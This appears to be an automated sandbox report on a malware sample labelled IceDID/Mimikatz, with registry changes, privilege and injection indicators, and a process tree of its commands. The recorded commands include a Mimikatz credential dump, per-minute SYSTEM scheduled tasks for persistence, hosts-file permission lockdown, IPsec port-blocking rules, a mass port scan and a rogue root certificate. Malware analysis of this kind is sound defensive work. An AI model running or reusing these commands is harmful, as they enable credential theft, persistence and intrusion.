gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8CF9FA3F-E1A1-4281-B70F-AEF1CFB1E28E}\WpadDecisionTime = d0e91d7b778bda01 gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8CF9FA3F-E1A1-4281-B70F-AEF1CFB1E28E}\WpadDecisionTime = 308db3b4778bda01 gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f005e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{8CF9FA3F-E1A1-4281-B70F-AEF1CFB1E28E}\5a-c6-42-6a-32-77 gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\5a-c6-42-6a-32-77\WpadDecisionTime = d0e91d7b778bda01 gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" flvstzhft.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software flvstzhft.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-2 = "Provides IPsec based enforcement for Network Access Protection" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings gkzutth.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs gkzutth.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs gkzutth.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" gkzutth.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals flvstzhft.exe -
Modifies registry class 14 IoCs
Processes:
gkzutth.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ gkzutth.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ gkzutth.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ gkzutth.exe -
Processes:
gkzutth.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 gkzutth.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 gkzutth.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
gkzutth.exepid process 2236 gkzutth.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
gkzutth.exepid process 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe -
Suspicious behavior: LoadsDriver 31 IoCs
Processes:
pid process 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 468 -
Suspicious behavior: RenamesItself 1 IoCs
Processes:
2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exepid process 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 21 IoCs
Processes:
2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exegkzutth.exegkzutth.exevfshost.exesvchost.exeflvstzhft.exetusert.exeflvstzhft.exeflvstzhft.exeflvstzhft.exeflvstzhft.exeflvstzhft.exeflvstzhft.exedescription pid process Token: SeDebugPrivilege 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2720 gkzutth.exe Token: SeDebugPrivilege 2440 gkzutth.exe Token: SeDebugPrivilege 1484 vfshost.exe Token: SeAuditPrivilege 2432 svchost.exe Token: SeDebugPrivilege 1652 flvstzhft.exe Token: SeShutdownPrivilege 1652 flvstzhft.exe Token: SeLockMemoryPrivilege 1888 tusert.exe Token: SeLockMemoryPrivilege 1888 tusert.exe Token: SeDebugPrivilege 900 flvstzhft.exe Token: SeShutdownPrivilege 900 flvstzhft.exe Token: SeDebugPrivilege 2672 flvstzhft.exe Token: SeShutdownPrivilege 2672 flvstzhft.exe Token: SeDebugPrivilege 2412 flvstzhft.exe Token: SeShutdownPrivilege 2412 flvstzhft.exe Token: SeDebugPrivilege 2064 flvstzhft.exe Token: SeShutdownPrivilege 2064 flvstzhft.exe Token: SeDebugPrivilege 2188 flvstzhft.exe Token: SeShutdownPrivilege 2188 flvstzhft.exe Token: SeDebugPrivilege 2796 flvstzhft.exe Token: SeShutdownPrivilege 2796 flvstzhft.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exegkzutth.exegkzutth.exexohudmc.exeooeaya.exegkzutth.exepid process 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe 2720 gkzutth.exe 2720 gkzutth.exe 2440 gkzutth.exe 2440 gkzutth.exe 876 xohudmc.exe 2972 ooeaya.exe 2236 gkzutth.exe 2236 gkzutth.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.execmd.exegkzutth.execmd.execmd.exewpcap.exedescription pid process target process PID 1884 wrote to memory of 3008 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe cmd.exe PID 1884 wrote to memory of 3008 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe cmd.exe PID 1884 wrote to memory of 3008 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe cmd.exe PID 1884 wrote to memory of 3008 1884 2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe cmd.exe PID 3008 wrote to memory of 3024 3008 cmd.exe PING.EXE PID 3008 wrote to memory of 3024 3008 cmd.exe PING.EXE PID 3008 wrote to memory of 3024 3008 cmd.exe PING.EXE PID 3008 wrote to memory of 3024 3008 cmd.exe PING.EXE PID 3008 wrote to memory of 2720 3008 cmd.exe gkzutth.exe PID 3008 wrote to memory of 2720 3008 cmd.exe gkzutth.exe PID 3008 wrote to memory of 2720 3008 cmd.exe gkzutth.exe PID 3008 wrote to memory of 2720 3008 cmd.exe gkzutth.exe PID 2440 wrote to memory of 2768 2440 gkzutth.exe cmd.exe PID 2440 wrote to memory of 2768 2440 gkzutth.exe cmd.exe PID 2440 wrote to memory of 2768 2440 gkzutth.exe cmd.exe PID 2440 wrote to memory of 2768 2440 gkzutth.exe cmd.exe PID 2768 wrote to memory of 1828 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 1828 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 1828 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 1828 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2596 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2596 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2596 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2596 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2728 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2728 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2728 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2728 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2492 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2492 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2492 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2492 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2428 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2428 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2428 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2428 2768 cmd.exe cmd.exe PID 2768 wrote to memory of 2452 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2452 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2452 2768 cmd.exe cacls.exe PID 2768 wrote to memory of 2452 2768 cmd.exe cacls.exe PID 2440 wrote to memory of 2476 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 2476 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 2476 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 2476 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 1168 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 1168 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 1168 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 1168 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 436 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 436 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 436 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 436 2440 gkzutth.exe netsh.exe PID 2440 wrote to memory of 2704 2440 gkzutth.exe cmd.exe PID 2440 wrote to memory of 2704 2440 gkzutth.exe cmd.exe PID 2440 wrote to memory of 2704 2440 gkzutth.exe cmd.exe PID 2440 wrote to memory of 2704 2440 gkzutth.exe cmd.exe PID 2704 wrote to memory of 2764 2704 cmd.exe wpcap.exe PID 2704 wrote to memory of 2764 2704 cmd.exe wpcap.exe PID 2704 wrote to memory of 2764 2704 cmd.exe wpcap.exe PID 2704 wrote to memory of 2764 2704 cmd.exe wpcap.exe PID 2704 wrote to memory of 2764 2704 cmd.exe wpcap.exe PID 2704 wrote to memory of 2764 2704 cmd.exe wpcap.exe PID 2704 wrote to memory of 2764 2704 cmd.exe wpcap.exe PID 2764 wrote to memory of 2036 2764 wpcap.exe net.exe
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:300
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C:\Windows\TEMP\riuvilefa\tusert.exe"C:\Windows\TEMP\riuvilefa\tusert.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1888
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C:\Users\Admin\AppData\Local\Temp\2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-10_a9114bc30a0279a8562dd775a2a34f35_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\isugpkis\gkzutth.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:3024 -
C:\Windows\isugpkis\gkzutth.exeC:\Windows\isugpkis\gkzutth.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2720
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C:\Windows\isugpkis\gkzutth.exeC:\Windows\isugpkis\gkzutth.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1828
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2596
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2728
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2492
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2428
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2452
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2476 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:1168 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:436 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\ptescsiac\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2704 -
C:\Windows\tjbrgizie\ptescsiac\wpcap.exeC:\Windows\tjbrgizie\ptescsiac\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:2036
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:660
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:1952
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2808
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:2820
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2196
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2276
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1348
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2160
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2288
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2908
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2892
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2776
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2092
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tjbrgizie\ptescsiac\Scant.txt2⤵
- Loads dropped DLL
PID:636 -
C:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exeC:\Windows\tjbrgizie\ptescsiac\avpjtmhfs.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\tjbrgizie\ptescsiac\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1224 -
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\tjbrgizie\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\tjbrgizie\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:996 -
C:\Windows\tjbrgizie\Corporate\vfshost.exeC:\Windows\tjbrgizie\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1484 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "esugmiafu" /ru system /tr "cmd /c C:\Windows\ime\gkzutth.exe"2⤵PID:2384
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1596
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "esugmiafu" /ru system /tr "cmd /c C:\Windows\ime\gkzutth.exe"3⤵
- Creates scheduled task(s)
PID:1752 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "pkcbprhtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F"2⤵PID:1744
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2240
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "pkcbprhtk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\isugpkis\gkzutth.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1724 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "letzemreu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F"2⤵PID:2760
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:3012
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "letzemreu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\riuvilefa\tusert.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1884 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:2284
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:1448 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:2168
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2720
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2768
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2956 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2972 -
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:528
